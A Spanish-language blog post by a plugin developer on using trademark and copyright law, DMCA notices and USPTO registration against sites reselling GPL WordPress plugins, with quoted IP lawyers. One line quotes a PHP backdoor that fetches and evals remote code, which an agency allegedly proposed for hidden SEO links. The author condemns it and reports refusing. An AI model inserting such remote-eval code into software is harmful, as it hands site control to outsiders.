La guía definitiva para proteger legalmente su negocio de complementos de WordPress GPL contra trolls

Las licencias de software pueden ser un tema muy confuso, especialmente en el mundo del código abierto. Los límites de la legalidad y la ética no siempre son claros. Pero como dueños de negocios enfocados en vender complementos GPL de WordPress, es nuestro deber comprender estos temas a fondo.

Esta publicación no abordará la ética y se centrará en las consideraciones legales. Le proporcionará una fórmula procesable paso a paso, que incluye comentarios de abogados experimentados en este espacio, para proteger su negocio de WordPress contra los 'trolls' de complementos.

Como desarrollador de complementos durante los últimos cinco años, he leído toneladas de artículos sobre la GPL, sus libertades y los desafíos asociados con la gestión de un negocio compatible con la GPL. Pero en los últimos meses, este tema se ha vuelto aún más significativo para mí.

En agosto, me siguió una cuenta de Twitter llamada Complementos de WordPress (https://twitter.com/plugswp). Como costumbre, revisé su perfil para obtener más información sobre ese usuario. Pronto descubrí que el controlador estaba asociado con 'wppluginscheap.com', un 'troll' de complementos y temas que se promociona a sí mismo como "la fuente número 1 de complementos y temas baratos de WordPress". Al navegar por el sitio, encontré muchos complementos premium populares como Yoast SEO, Backup Buddy, WP Robot y 50 temas premium. Cada producto se vendió por menos de $10.

Ingenuo como era, salté a WPChat y comencé un nuevo hilo:

Todos hemos estado codificando bajo la amenaza de que algún troll aparecerá y revenderá nuestros plugins/temas GPL a precios ridículos. Bueno... está aquí. ¿Qué tal comprar Yoast Premium SEO por $ 4.00? Estoy un poco enojado y, por otro lado, divertido porque sabía que aparecería algún día.

Le hice dos preguntas a la comunidad:
1. ¿Cómo lo eliminamos?
2. ¿Se siente amenazado?

Paralelamente, fui al grupo de Facebook de Advanced WordPress y subí el siguiente estado:

Joost de Valk y Thomas Hofter, a menos que hayan comenzado a vender sus complementos por menos de $ 10, creo que estos tipos violan sus marcas registradas (y una docena de otros desarrolladores de complementos). ¿Cómo lo bajamos?

Si eres miembro del grupo AWP, puedes consultar el hilo completo aquí.

Ambos hilos generaron mucho interés y discusión. Recibí 17 respuestas en WPChat y 84 comentarios en el grupo de Facebook de AWP. Una vez que las respuestas comenzaron a acumularse, me di cuenta de dos cosas:
1. Los trolls de complementos / temas de WordPress son una epidemia: ¡están sucediendo en todas partes!

Esto ha estado sucediendo durante MUCHO tiempo, aunque principalmente con temas y complementos de WooCommerce. Ver gplclub.org y sozot.com. WPAvengers.com hizo algo similar antes de cerrar.

– Leland Fiegel, Fundador de WPChat

2. Aunque hay cientos de publicaciones de blog sobre todos los aspectos de la licencia GPL, todavía hay mucha confusión en el ecosistema. Incluso entre influencers. Parece que mucha gente piensa que técnicamente está bien (aunque no es ético) hacerlo, ya que los complementos y los temas tienen licencia GPL.

Estos oportunistas aparecen de vez en cuando y nunca parecen llegar a nada. Es legal (la parte GPL, de todos modos) pero poco ético. es perezoso Y es malo para los clientes porque los productos están en condiciones cuestionables, obsoletos, sin respaldo y sospechosos.

– Steven Gliebe, desarrollador de temas y fundador de Pro Plugin Directory

No es ético, sin embargo, si yo, como propietario de una tienda de temas/complementos que lanza bajo GPL, diría eso, siento que soy aún menos ético si puedo decir esto que esos tipos, y un hipócrita total.

– Ionut Neagu, Fundador de CodeinWP

Otros comentarios recibidos en Facebook incluyeron:

• Si los complementos tenían licencia GPL, me temo que no pueden hacer nada.
• No creo que las versiones premium estén bajo GPL
• Es legal, bajo la GPL

¡Y hay muchos más de esos!

Entonces, antes de comenzar, permítanme aclarar algo:

¡Esto está completamente mal!

Los desarrolladores aún tienen derechos exigibles incluso si sus complementos se distribuyen bajo una licencia de código abierto.
Estos 'Trolls de complementos' aún pueden ser responsables de infracciones de marcas registradas y/o infracciones de derechos de autor.

Quiero agregar que he leído muchas opiniones que dicen que esos trolls no dañan el negocio. Si ese fuera el caso, no me molestaría en pasar tanto tiempo compilando esta publicación. Me gustaría aprovechar la oportunidad para explicar las razones por las que los trolls son malos para la comunidad de WordPress, para su negocio y también para los usuarios de WordPress.

¿Por qué los trolls de complementos son malos para su negocio de complementos?

Ingresos perdidos

Te guste o no, una parte de los usuarios comprará u obtendrá tu complemento premium de estos sitios web. Especialmente los novatos de WordPress. Si era nuevo en el ecosistema de WordPress y buscaba un complemento de SEO, Yoast SEO por $ 4 suena mucho más atractivo que el precio completo. Simplemente lo compraría. Al igual que siempre busco el mejor descuento cuando compro un teléfono inteligente u otros productos. No necesito la "garantía original" ya que nunca la usé con ninguno de los productos que compré, por lo que el soporte no es algo que los usuarios tengan en mente desde el principio.

Abuso de apoyo

Si hay algún problema con el complemento comprado al troll, ¿adivinen a quién se culpa por eso? Por supuesto, el verdadero desarrollador/empresa. Si se replica la obra de arte asociada con su marca, los clientes se comunicarán con usted. Al igual que si compré un teléfono inteligente HTC en Amazon, cuando tengo problemas con el dispositivo, llamo al soporte técnico de HTC, no a Amazon. ¿Qué le dirías al usuario? "Sí, es nuestro teléfono, pero debe comunicarse con Amazon para obtener soporte técnico". Esta respuesta sería difícil de digerir para un usuario. Parecerá que no respaldas tus productos.

Si hay algún problema con el complemento comprado al troll, ¿adivinen a quién se culpa por eso?Tweet

Daño de marca

No hay duda de que algunos trolls inyectan código malicioso en los complementos. El principal incentivo para hacer esto es generar ingresos mientras se distribuyen los complementos premium de forma gratuita. Yo mismo he sido testigo de esto. Hace dos años, se me acercó un experto en SEO de una GRAN agencia con sede en el Reino Unido (más de 100 empleados). . Se ofreció a asociarse conmigo agregando una simple línea de código a nuestro complemento:
eval(wp_remote_get( 'http://www.company.com/path/to/api/endpoint/' )['body']);

La idea era que el punto final de la API devolvería las URL ocultas para impulsar los vínculos de retroceso de las empresas de su cartera. Uno de los ejemplos que envió fue:

<a href="”http://www.portfolio-company.com”">Great Company</a>

Los trolls pueden inyectar código malicioso en complementos mientras usan su marca original, ¡un daño directo a su marca!Tweet

Esto fue antes de Google Penguin y fue un gran truco de SEO. Y la oferta también fue fantástica: $0.1 por dominio por mes. Entonces, si tuviera 100,000 dominios activos usando mi complemento, podría generar $ 10,000 / mes. ingresos sin gastar un minuto extra. Impresionante ¿verdad? Obviamente no lo hicimos, por varias razones, principalmente porque este código era EXTREMADAMENTE malicioso. Abre una puerta trasera remota para hacer lo que quieras con el sitio. Incluso si la agencia solo tenía la intención de usarlo para SEO, ¿qué sucede si su servidor es pirateado y alguien con malas intenciones toma el control? Quién sabe cuántos complementos legítimos de WordPress.org se asociaron con esa agencia... Volviendo a los trolls, sus intenciones son puramente financieras. No promocionan sus complementos premium por diversión, quieren ganar dinero. Y si hacen cosas ilegales como infracciones de derechos de autor y marcas registradas, nada les impide generar flujos de ingresos alternativos como inyecciones de código. ¡Ah, y olvidé mencionar que si algo así sucede, usted es el culpable! Es su producto y su marca.

¿Por qué los trolls de complementos son malos para los usuarios?

Por muchas de las mismas razones que mencioné, pero desde la perspectiva del usuario.

Sin soporte

Cuando se enfrenta a un problema técnico, el troll simplemente no puede ayudarlo. No es su producto, no tienen ni idea sobre el código o cómo resolver los problemas relacionados. Además, no tienen los recursos de apoyo para hacerlo. Y si intenta ponerse en contacto con la empresa original, los desarrolladores de complementos premium tienen la infraestructura para realizar un seguimiento de sus clientes. La compañía a menudo no lo ayudará hasta que compre una licencia original.

Los redistribuidores ilegales de complementos no pueden y no lo ayudarán con problemas técnicos.Tweet

Sin actualizaciones automáticas

La mayoría de los complementos premium en el mercado hoy en día tienen un mecanismo de licencia y actualización (los trolls a menudo 'hackean' esta parte antes de redistribuir el complemento). La forma en que funciona este mecanismo de actualizaciones automáticas es que una vez cada 24 horas, el complemento verifica el servidor de la empresa original para ver si hay actualizaciones para la versión premium. También se autentica con una clave de licencia. Dado que el complemento del troll nunca se emitió con una clave de licencia de la empresa original, este mecanismo de actualización NO funcionará. Por lo tanto, cada vez que se instala un complemento premium no original, no hay actualizaciones automáticas. Esto es malo ya que los piratas informáticos encuentran constantemente nuevas vulnerabilidades creativas y un complemento premium desactualizado podría ser esa fuga de seguridad.

Los complementos pirateados de WordPress no tienen un mecanismo de actualizaciones automáticas: ¡vulnerabilidad de seguridad constante!Tweet

Principales fugas de seguridad

¿Recuerdas la línea de código malicioso que mencioné anteriormente? ¿Le gustaría tener una puerta trasera a su sitio abierta a los piratas informáticos? Esta puerta trasera literalmente permite que un pirata informático modifique cada píxel y pieza de contenido en su sitio. Y ese es solo un ejemplo, estoy seguro de que hay muchas otras inyecciones creativas por ahí.

¿Qué cubren las licencias de código abierto?

Dado que claramente hay mucha confusión sobre estos temas en la comunidad de desarrolladores, me comuniqué con mi amigo, Ariel Reinitz y su colega Matthew Hintz, que son abogados de propiedad intelectual (PI) (patentes, marcas comerciales y derechos de autor) en Lowenstein Sandler LLP, una firma nacional con oficinas desde Nueva York hasta Palo Alto.

Ariel me explicó que si bien los 'trolls' del complemento de WP técnicamente pueden tener derecho a redistribuir el código que está bajo una licencia de fuente abierta (por ejemplo, GPL), existen otros derechos de propiedad intelectual ('IP') que no están cubiertos por la fuente abierta. licencia que estos 'trolls' todavía pueden estar infringiendo.

Esto es lo que Ariel tiene que decir sobre la GPL:

Es importante comprender qué cubre (y no cubre) la licencia de código abierto (GPLv2) bajo la cual se distribuyen la mayoría de los complementos de WordPress:

Una licencia de código abierto dicta cómo se distribuirá el software/código fuente. Generalmente, tales licencias permiten que cualquier persona use, modifique, etc., el software/código sin costo alguno. Por lo tanto, el código fuente de un proyecto de código abierto puede ser redistribuido por otras partes sin violar los términos de la GPL.

En palabras sencillas: la libertad GPL permite que cualquier persona tome el código fuente y haga lo que quiera con él, incluida la distribución. Creo que hay un consenso sobre esa parte en la comunidad.

¿Qué no cubren las licencias de código abierto?

Sin embargo, las licencias de código abierto (incluida la GPLv2) generalmente no se extienden a las marcas registradas. Las marcas registradas se refieren a la forma en que se marca un producto (p. ej., un complemento, un tema, una aplicación, etc.), por ejemplo, el nombre del producto (y/o la empresa de la que se origina), su eslogan/eslogan y /o su logotipo. Por lo tanto, si bien el código fuente de un proyecto puede redistribuirse libremente bajo una licencia de código abierto, dicha licencia no otorga a otros ningún derecho con respecto a las marcas registradas asociadas con el proyecto (por ejemplo, el nombre del producto, la empresa que lo desarrolló, etc).

En palabras que no son de abogados, la GPL no permite usar ninguna de las marcas comerciales del complemento, como el nombre del producto, el nombre de la empresa y el logotipo. Ariel nos da un ejemplo:

Entonces, por ejemplo, si un tercero redistribuye un complemento de WordPress utilizando toda la marca original del proyecto (p. ej., promocionándolo con el nombre original, el logotipo, etc., de la empresa/proyecto), es probable que infrinja la marca registrada del desarrollador original. derechos. Como se señaló, la licencia de código abierto no permite que alguien use la marca de otra persona en un contexto comercial. Esto es importante porque uno de los principios fundamentales del derecho de marcas es proteger al consumidor de la confusión sobre el origen de un producto.

Los principios fundamentales de la ley de marcas no son solo para proteger el negocio, están ahí para proteger al consumidor de la confusión sobre el origen de un producto. ¡Esa es una nota importante!

También es importante reconocer que muchas empresas de código abierto registran, protegen y vigilan sus derechos de marca. Los ejemplos incluyen: Linux , MySQL , Red Hat y WordPress .

Lo que Ariel está diciendo aquí es que muchos de los nombres más importantes del código abierto protegen y vigilan sus derechos de marca registrada. ¿Por qué no deberíamos hacer lo mismo?

Si Red Hat puede proteger y vigilar sus derechos de marca registrada, ¿por qué no pueden los desarrolladores de complementos?Tweet

Además de los derechos de marca registrada, Ariel señaló que los desarrolladores también tienen derecho a la protección de derechos de autor sobre los materiales que producen y que no forman parte del código fuente:

También es importante reconocer que la GPL (y otras licencias de código abierto) solo cubren el código fuente del propio complemento. Pero, si el desarrollador crea materiales que no son parte del código fuente (p. ej., gráficos, materiales promocionales, empaques, etc.), esos materiales no estarían bajo la GPL y el desarrollador no tendría la obligación de permitir que otra parte para redistribuir los materiales.

Por ejemplo, observe cómo se presenta el complemento 'Yoast' en algunos de los sitios 'troll' mencionados anteriormente. Si bien esos sitios técnicamente pueden redistribuir el código fuente de Yoast (ya que está bajo la licencia GPL), estos sitios también incorporan elementos como la marca de Yoast (por ejemplo, el nombre y el logotipo de Yoast, que son marcas registradas ), así como otros materiales creativos desarrollados por Yoast (por ejemplo, el gráfico del tipo bebiendo té que no forma parte del código fuente de Yoast y, por lo tanto, los derechos de autor pertenecen a Yoast y no están sujetos a la GPL).

Entonces, si bien el troll puede tener el derecho legal de redistribuir el código fuente de Yoast, la GPL (u otra licencia de código abierto) no le otorga el derecho de usar (a) la marca de Yoast (marcas registradas) u (b) otros gráficos, materiales, etc. ., (derechos de autor) . Dado que no forman parte del código fuente del complemento, estos elementos no se encuentran bajo la GPL y, por lo tanto , los derechos de propiedad intelectual (IP) de estos elementos son propiedad exclusiva del desarrollador .

Dado que los 'trolls' del complemento utilizan las marcas registradas del desarrollador y los materiales protegidos por derechos de autor (como en los ejemplos de 'Yoast' anteriores), existen procedimientos legales (como exploraremos en detalle a continuación) que los desarrolladores pueden usar para hacer cumplir estos derechos con el fin de detener, disuadir o al menos intentar limitar el impacto que estos 'trolls' pueden tener en su negocio. Una vez más, esto es cierto aunque su complemento se distribuya bajo la licencia GPL.

¿Qué se protege con las marcas?

Matthew explica lo que cubren las marcas registradas:

En pocas palabras, una marca comercial es un identificador único para los consumidores que distingue la fuente de los bienes o servicios de los demás. La mayoría de las veces, una marca comercial es una palabra, un logotipo o una combinación de esos elementos. En los Estados Unidos, los derechos de marcas registradas comienzan con el uso en el comercio (llamados "derechos de derecho consuetudinario"), no a través del registro en la Oficina de Patentes y Marcas de los Estados Unidos (USPTO). Sin embargo, el registro de su marca comercial en la USPTO brinda al propietario muchos beneficios que no están disponibles a través de los derechos de derecho consuetudinario. En particular, estos incluyen evidencia del derecho exclusivo del registrante de usar una marca en los Estados Unidos en relación con los bienes o servicios establecidos en el registro, aviso implícito de que el registrante es el propietario de la marca registrada, listado del registro en la USPTO base de datos en línea y capacidad para usar el símbolo. (Antes del registro, se puede usar un símbolo TM con una marca comercial).

¿El código está protegido por una marca comercial?

Durante mi investigación, leí algunas publicaciones que mencionan que cuando se bifurca un complemento o un tema con licencia GPL, el código debe refactorizarse para asegurarse de que no haya funciones que incluyan el identificador de marca registrada como parte del nombre de la función. Para aclarar eso, le pregunté a Matthew si el código también está protegido por la marca registrada, y aquí está la respuesta:

El código en sí no está protegido por marca registrada. Las marcas comerciales protegen la palabra o el logotipo que un consumidor asocia con sus productos o servicios. Entonces, un límite a la protección de marca registrada para un complemento sería la palabra o el logotipo utilizado para comercializar el complemento a los consumidores. Y luego, la prueba fundamental para la infracción de marcas registradas es si los consumidores probablemente se confundirían por la similitud de las dos marcas. La similitud se evalúa al observar cosas como la similitud visual y fonética, qué tan estrechamente relacionados están los productos/servicios para cada marca, qué tan distintivas son las marcas y cuánto tiempo se han usado.

Para aclarar la respuesta en un lenguaje amigable para desarrolladores:

• Los nombres de clases, nombres de funciones, nombres de variables y nombres de constantes NO están protegidos por marcas comerciales.
• Por otro lado, las cadenas que se imprimen en la página y son visibles para los usuarios finales están protegidas por marca registrada.

¿Cómo presentar un registro de marca?

Para obtener los beneficios del registro federal de una marca, su marca debe estar registrada en la USPTO. Una solicitud de registro debe incluir información básica: nombre del solicitante/titular, la marca, los productos o servicios con los que se usa la marca, evidencia del uso de la marca con esos productos o servicios y fechas del primer uso de esa marca. . Consideraciones para su aplicación:

• Busque en la base de datos TESS de la USPTO (http://www.uspto.gov/trademark) marcas iguales o similares. Si se solicitan marcas iguales o similares o ya están registradas, estas pueden ser la base para el rechazo de su solicitud. También busque a través de Google u otros servicios de búsqueda, ya que una marca podría usarse sin registro y tener derechos superiores sobre esa marca a pesar de su registro. El registro no agota los derechos de marca registrada de un usuario anterior.
• Para describir sus productos o servicios, busque en el Manual de identificación de la USPTO el lenguaje aceptable: http://tess2.uspto.gov/netahtml/tidm.html . También puede buscar lenguaje aceptable en TESS.
• Las clases son indicaciones generales relativas a determinados campos de productos o servicios. Por ejemplo, los complementos descargables generalmente se encuentran en la Clase 9, que cubre todos los programas y software de computadora.
• Las tarifas para una solicitud de marca están determinadas por el número de clases. La tarifa general es de $ 275 por clase, pero hay disponibles opciones de presentación más económicas y más costosas.

Después de que se presente una solicitud, la USPTO examinará la solicitud para determinar si la marca es un identificador único (es decir, no es descriptivo o similar a solicitudes o registros presentados anteriormente). La USPTO proporciona plazos para las solicitudes: http://www.uspto.gov/trademark/trademark-timelines/trademark-application-and-post-registration-process-timelines .

Tenga en cuenta que la protección de la marca es territorial. Por ejemplo, un registro en los Estados Unidos brindará protección de marca registrada en los Estados Unidos.

Como describió Matthew, el proceso no es necesariamente complejo, pero requiere tiempo y esfuerzo. Recomendaría pagarle a un abogado de nivel medio para que lo haga por usted. El trabajo debería costarte entre $200 y $2000, aunque te ahorrará tiempo y garantizará una mejor aplicación. En cualquier caso, antes de empezar, ¡búscalo en Google! Si encuentra un producto o una empresa (particularmente en el mismo campo o uno similar) que coincida con su término/frase exactos, es muy probable que NO pueda registrar la marca comercial (y es posible que esté violando la de otra persona).

¿Qué hacer cuando se infringe su marca?

Comenzaré con lo que NO debe hacer: si se trata de una infracción de marca registrada, no de derechos de autor, NO debe presentar una eliminación de DMCA.

DMCA cubre SOLAMENTE la infracción de derechos de autor. No existe una disposición similar para las marcas registradas. El uso de avisos de eliminación de DMCA para reclamos de marcas registradas puede resultar en que el reclamante sea responsable de declaraciones falsas.

Por lo general, lo más sencillo es intentar resolver los asuntos directamente con el propietario del sitio web. Si esto no tiene éxito, puede iniciar una acción legal contra el propietario del sitio web, el host, etc. El enfoque específico que tome probablemente será específico del caso y, en este punto, le sugiero que se comunique con un abogado para comprender la mejor opción en sus circunstancias específicas. .

¿Qué está protegido por los derechos de autor?

Los derechos de autor son diferentes a las marcas registradas. El derecho de autor protege las obras originales de autoría fijadas en algún medio de expresión. Sin embargo, un límite a la protección de los derechos de autor es que se extiende solo a la expresión, no a la idea. Las categorías de obras protegidas por derechos de autor incluyen obras literarias (libros, códigos), obras musicales, fotografías e imágenes, películas, grabaciones de sonido, entre otras categorías. Otro límite es que los derechos de autor no protegen las frases o expresiones cortas; eso queda para la protección de marcas registradas, siempre que funcionen como un identificador único para los consumidores que distingue la fuente de los bienes o servicios de los demás.

¿Qué hacer cuando se infringen sus derechos de autor?

1. Inicialmente, suele ser más sencillo intentar contactar directamente con el propietario del sitio web. En muchos casos, el propietario del sitio web no está más interesado que usted en reclutar abogados, involucrarse en procedimientos legales, etc. Intente encontrar la cuenta de Twitter, el correo electrónico de contacto o la página de contacto en el sitio y envíe un mensaje exigiendo la eliminación de su complemento de marca registrada del sitio web.
2. Si no ayuda, puede enviar un aviso de eliminación de DMCA (Ley de derechos de autor del milenio digital). Hay un montón de generadores para ayudarlo a crear uno, solo busque en Google "generador de eliminación de dmca". Una vez que tenga el aviso, deberá enviarlo al propietario del sitio, a la empresa de alojamiento y al ISP. Opcionalmente, también puede enviar un aviso a los motores de búsqueda para eliminar el sitio de los resultados de búsqueda. Para encontrar la empresa de alojamiento, puede utilizar sitios web como whoihostingthis.com. Para encontrar el ISP, puede usar sitios web como http://www.whoismyisp.org/. Para encontrar el enlace relevante para presentar la DMCA al ISP / Hosting, busque en Google ISP_NAME / HOSTING_NAME + DMCA.

Alternativamente, puede iniciar una acción legal contra el propietario del sitio web, el host, etc. Le sugiero que se comunique con un abogado para comprender si esta es o no la mejor opción en sus circunstancias específicas.

Conclusión

Espero que este conjunto de instrucciones paso a paso le proporcione las herramientas adecuadas para proteger su negocio de complementos GPL contra los trolls. Solo un resumen:

• Como propietario de un negocio, usted es elegible y debe proteger la marca y los activos de su empresa.
• Las marcas comerciales y los derechos de autor son formas relativamente baratas y efectivas de proteger legalmente su negocio de complementos. Por lo tanto, debe considerar seriamente registrar marcas comerciales para el nombre de su empresa y los nombres de productos.
• Muchos trolls infringen tanto los derechos de autor (p. ej., al levantar sus gráficos promocionales) como las marcas registradas (al usar el nombre de su marca). Al crear un nombre de marca, un logotipo y una obra de arte únicos, genera una cartera para ayudar a luchar contra la infracción de derechos de autor.

Muchos trolls infringen tanto los derechos de autor como las marcas registradas. Al crear un nombre de marca, un logotipo y una obra de arte únicos, genera una cartera para ayudar a luchar contra la infracción de derechos de autor.Tweet

Si un sitio web de terceros incluye su complemento o tema GPL premium, para la venta o para regalar, sin su consentimiento:

• Si el sitio web utiliza su obra de arte original u otros materiales, probablemente se trate de una infracción de derechos de autor. Puede presentar una eliminación de DMCA.
• Si el sitio web utiliza la marca comercial de su empresa o producto, es probable que se trate de una infracción de marca comercial. Puede iniciar acciones legales contra el sitio web.

Si tiene alguna idea adicional sobre las implicaciones legales y éticas de la GPL, no dude en compartirla en los comentarios a continuación.

Grandes referencias:

• Aviso de eliminación de DMCA emitido contra la bifurcación de WP Migrate DB Pro
• La licencia GPL no brinda la libertad de infringir marcas comerciales registradas
• ¿Se está abusando de la GPL de WordPress?
• ¿Por qué estamos pagando por el código con licencia GPL?